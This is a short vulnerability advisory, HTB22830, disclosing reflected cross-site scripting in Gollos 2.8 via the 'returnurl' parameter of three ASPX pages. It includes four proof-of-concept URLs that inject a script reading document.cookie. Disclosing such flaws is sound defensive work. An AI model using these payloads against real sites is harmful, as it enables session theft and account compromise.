HTB22830: Multiple XSS vulnerabilities in Gollos

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22830
Reference: 
http://www.htbridge.ch/advisory/multiple_xss_vulnerabilities_in_gollos.html
Product: Gollos
Vendor: Gollos ( http://www.gollos.com/ ) 
Vulnerable Version: 2.8 and probably prior versions
Vendor Notification: 01 February 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "register.aspx", 
"publication/info.aspx", "user/add.aspx" scripts to properly sanitize 
user-supplied input in "returnurl" variable. Successful exploitation of this 
vulnerability could result in a compromise of the application, theft of 
cookie-based authentication credentials, disclosure or modification of 
sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

http://host/?returnurl=";><script>alert(document.cookie)</script>

http://host/register.aspx?returnurl=";><script>alert(document.cookie)</script>

https://adminhost/publication/info.aspx?pt=1&returnurl=";><script>alert(document.cookie)</script>

https://adminhost/user/add.aspx?returnurl=";><script>alert(document.cookie)</script>
user/add.aspx